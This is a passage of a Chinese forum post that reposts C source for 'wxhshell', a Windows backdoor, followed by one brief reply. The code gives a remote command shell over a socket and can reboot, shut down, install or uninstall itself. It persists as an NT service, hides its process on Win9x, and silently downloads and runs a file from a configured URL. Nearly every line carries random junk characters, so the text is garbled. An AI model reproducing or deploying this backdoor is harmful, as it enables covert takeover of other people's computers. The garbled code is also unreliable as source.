  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W7QcDR y6  
  if(DownloadFile(cmd,wsh)) 2Po e-=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[@xTq s{{  
  else QFm~wv 8:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QVVR_1Q  
  } D/1f> sl  
  else { ;LM,<QJ  
7LM?<lp]  
    switch(cmd[0]) { HH+$rrTT  
  ?,J'3nZ'  
  // 帮助 CVp`G"W:  
  case '?': { m4.IaBn/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kCWaji_x%  
    break; <TL!iM  
  } l H@hV  
  // 安装 ~hSr06IY  
  case 'i': { ep- ~;?  
    if(Install()) I'M,p<B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G:HPd.ay  
    else ;-:Nw6 E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8R;)WlLu=  
    break; :qbbo~U  
    } vnT'.cBB:^  
  // 卸载 > :s#MwIwm  
  case 'r': { [4u.*oL&  
    if(Uninstall()) -Q6njt&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c5& _'&  
    else u&HLdSHe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ov$_Phm:  
    break; lj{Jw.t  
    } Ps@a@d"83  
  // 显示 wxhshell 所在路径 2cy: l03  
  case 'p': { s%K 9;(RWI  
    char svExeFile[MAX_PATH]; }i7Gv K<[:  
    strcpy(svExeFile,"\n\r"); y my/`%  
      strcat(svExeFile,ExeFile); ^a6c/2K  
        send(wsh,svExeFile,strlen(svExeFile),0); '$@bTW  
    break; #Ont1>T,G  
    } bn b:4?d]  
  // 重启 %z}{jqD&:X  
  case 'b': { ai!zb2j!E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~|_s2T  
    if(Boot(REBOOT)) U8+5{,$\.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qHT_,\l2  
    else { Q:6i 3 Nr/  
    closesocket(wsh); aXAV`%b  
    ExitThread(0); 'rZYl Qm  
    } kf3 u',}R  
    break; BB&7VSgc-  
    } <<,YgRl2  
  // 关机 95 7Cr  
  case 'd': { +}eGCZra  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q Q3a&  
    if(Boot(SHUTDOWN)) g]sc)4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8J}gj7^8  
    else { -RisZ-n*  
    closesocket(wsh); r2WW}W  
    ExitThread(0); r &<sSE;5  
    } W+v7OSd92  
    break; VM 3~W  
    } 8U98`# i  
  // 获取shell g%P6f  
  case 's': { s<f<:BC  
    CmdShell(wsh); 73b(A|kQ@  
    closesocket(wsh); +HGPn0As  
    ExitThread(0); X,)`< >=O  
    break; G4=R4'hC  
  } e} =tUdDf  
  // 退出 {$,t^hd  
  case 'x': { lr>P/W\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `1AVw] k  
    CloseIt(wsh); oa4{s&db-  
    break; \e89 >m  
    } bi^[Eh  
  // 离开 Pz+2(Z  
  case 'q': { sop *?0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?<YQ %qaW7  
    closesocket(wsh); z}'-gv\,  
    WSACleanup(); {h< V^r  
    exit(1); l[Hgh,  
    break; `eD70h`XK  
        } T d E.e(  
  } 0X.(BRI~6p  
  } e XB'>#&s  
?AMn>v  
  // 提示信息 !'y9/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2pKkg>/S  
} :gD=F&V  
  } U3R;'80 f  
"iu9r%l94  
  return; it Byw1/  
} 9/?@2  
}@Ap_xW  
// shell模块句柄 p\A!"KC  
int CmdShell(SOCKET sock) 3PmM+}j3  
{ #@rvoi  
STARTUPINFO si; Q L0  
ZeroMemory(&si,sizeof(si)); _6y#?8RMB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =tP%K*Il4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S.u1[Yz^  
PROCESS_INFORMATION ProcessInfo; F$tshe(  
char cmdline[]="cmd"; Ol%KXq[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TBAF_$  
  return 0; ku8C#%.m3  
} Aoi) 11>  
zv~dW4'  
// 自身启动模式 Yo 0wufbfV  
int StartFromService(void) G1RUu-~+  
{ q9)]R  
typedef struct e}xx4mYo  
{ .paKV"LJ  
  DWORD ExitStatus; 6cO3 6  
  DWORD PebBaseAddress; 7?U)V03  
  DWORD AffinityMask; pTQ70V3  
  DWORD BasePriority; r |H 1Yy  
  ULONG UniqueProcessId; -2o_ L?  
  ULONG InheritedFromUniqueProcessId; DG%vEM,y  
}   PROCESS_BASIC_INFORMATION; v(|Arm?  
-a=RCzX]  
PROCNTQSIP NtQueryInformationProcess; YadG05PDe  
50< QF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QPc4bg\J~t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z CS.P.$  
e-Pn,j  
  HANDLE             hProcess; <"GgqyRzv  
  PROCESS_BASIC_INFORMATION pbi; WQJnWe   
< 5 ?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G\X}gqe(OJ  
  if(NULL == hInst ) return 0; 4p}?QR>tZ  
"!g}Q*   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vYPZVqF_$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yH9(ru  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3A`|$So  
sz"N,-<Ig  
  if (!NtQueryInformationProcess) return 0; qKSS 2f $  
sGAOK%28  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %0y_WIjz  
  if(!hProcess) return 0; D1ep7ykY  
y-.<iq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5YZh e4R  
_A>?@3La9  
  CloseHandle(hProcess); 4X}.aZO&b  
 V6L0\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^\(<s  
if(hProcess==NULL) return 0; SsY :gp_  
eBZ94rA]  
HMODULE hMod; ;4:[kv@  
char procName[255]; >bLhCgF:"  
unsigned long cbNeeded; F|wT']1Y  
;h7W(NO~z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hI$IBf>  
-eQ>3x&3r  
  CloseHandle(hProcess); )/p=ZH0[  
D\4pLm"!v  
if(strstr(procName,"services")) return 1; // 以服务启动 Pg''>6w>  
^oLMgz  
  return 0; // 注册表启动 -4;$NiB?  
} vWs#4JoG  
` P,-NVB  
// 主模块 O>KrTK-AV  
int StartWxhshell(LPSTR lpCmdLine) x+Ws lN 2a  
{ CVAX?c{   
  SOCKET wsl; 2]UwIxzR  
BOOL val=TRUE; r.JM!x8  
  int port=0; p0|PVn.^h  
  struct sockaddr_in door; Jv8JCu"eky  
u6t%*''  
  if(wscfg.ws_autoins) Install(); l^cz&k=+  
A!:R1tTR;S  
port=atoi(lpCmdLine); y),yks?iv  
zMg(\8  
if(port<=0) port=wscfg.ws_port; ;"9$LHH*  
nu6p{_M  
  WSADATA data; B<Zm'hdX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {hH8+4c7  
B>kVJK`X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !r#36kO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f;`7}7C  
  door.sin_family = AF_INET; sJ>JHv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .gJv})Vi  
  door.sin_port = htons(port); Xt%y>'.  
uBUT84i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U>-GM >  
closesocket(wsl); h`@z61UI  
return 1;  p[8H!=`K  
} :#zVF[Y(2  
O:{N5+HVG  
  if(listen(wsl,2) == INVALID_SOCKET) { _, r6t  
closesocket(wsl); !q[r_wL  
return 1; (R|_6[zy  
} )4;$;a1  
  Wxhshell(wsl); GQ8A}gwH  
  WSACleanup(); "Q.KBX v/  
n|'}W+  
return 0; dsG:DS`q  
wZsjbNf`K  
} \uyZl2=WWa  
*K'#$`2  
// 以NT服务方式启动 +=Y$v2BZA3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -d]v6q'1  
{ 0 /)OAw"m  
DWORD   status = 0; i4dy0jfN  
  DWORD   specificError = 0xfffffff; [KW9J}]  
( d1ho=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "+Kp8n6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i$g6C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \!Wph5wA  
  serviceStatus.dwWin32ExitCode     = 0; jV.9d@EC  
  serviceStatus.dwServiceSpecificExitCode = 0;  5?34<B  
  serviceStatus.dwCheckPoint       = 0; 5@nv cCp  
  serviceStatus.dwWaitHint       = 0; \B Uno6  
!F08F>@D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \ ^3cNw  
  if (hServiceStatusHandle==0) return; @M)"  
FwpTQix!  
status = GetLastError(); q71V]!  
  if (status!=NO_ERROR) ,KaO8^PB  
{ ~(-df>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mum4Uj  
    serviceStatus.dwCheckPoint       = 0; cq4sgQ?sW  
    serviceStatus.dwWaitHint       = 0; b ~C^cM  
    serviceStatus.dwWin32ExitCode     = status; iTVepYv4m  
    serviceStatus.dwServiceSpecificExitCode = specificError; C5^9D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v m.%)F#@  
    return; ehV}}1>O  
  } {O_`eS  
Ol)M0u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fvr$K*u  
  serviceStatus.dwCheckPoint       = 0; S^7u`-  
  serviceStatus.dwWaitHint       = 0; 303x|y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4vMjVbr  
} >f:OU,"  
4Jk[X>I~  
// 处理NT服务事件,比如:启动、停止 o<L=l Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) axM(3k.n  
{ b" kL)DL1L  
switch(fdwControl) @0D  
{ s(r1q$5  
case SERVICE_CONTROL_STOP: V?r(;x  
  serviceStatus.dwWin32ExitCode = 0; $|o[l.q2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t $u.  
  serviceStatus.dwCheckPoint   = 0; q\d/-K  
  serviceStatus.dwWaitHint     = 0; |HQFqa <  
  { }_h2:^n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VX'G\Zz@h|  
  } Gf<%bQE  
  return; ;BW-ag \9  
case SERVICE_CONTROL_PAUSE: "rcV?5?v~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w^)_Fk3  
  break; 7,2#0Z`ge  
case SERVICE_CONTROL_CONTINUE: >_u5"&q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DxzNg_E]  
  break; "64D.c(r$  
case SERVICE_CONTROL_INTERROGATE: hOr4C4  
  break; <(x!P=NM-  
}; nzl3<Ar  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Y[?@/m4  
} {TC_ 4Y|8  
hEfFMi=a`  
// 标准应用程序主函数 x-H R[{C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %!V=noo  
{ T-.Bof(?w  
^dR gYi"(A  
// 获取操作系统版本 wQrD(Dv(yA  
OsIsNt=GetOsVer(); RO.bh#A$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !UX7R\qu|  
FK,Jk04on  
  // 从命令行安装 dRXdV7-!  
  if(strpbrk(lpCmdLine,"iI")) Install(); x}jiHV@=  
F=V_ACU  
  // 下载执行文件 D*q:X O6b  
if(wscfg.ws_downexe) { B0ZLGB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vf h*`G$  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]3~X!(O  
} 1*]@1DJt  
r=ht:+m  
if(!OsIsNt) { cE3V0voSw1  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y@'ahxF  
HideProc(); `E5vO1Pl  
StartWxhshell(lpCmdLine); csms8J  
} 3.?B')  
else E>NL/[1d  
  if(StartFromService()) v$EgVc K  
  // 以服务方式启动 "xE;IpO[  
  StartServiceCtrlDispatcher(DispatchTable); xi!R[xr1  
else {>zQW{!  
  // 普通方式启动 xwZ7I  
  StartWxhshell(lpCmdLine); g?e-D.pSF  
S3Sn_zqG  
return 0; Kz9h{ Tu4  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八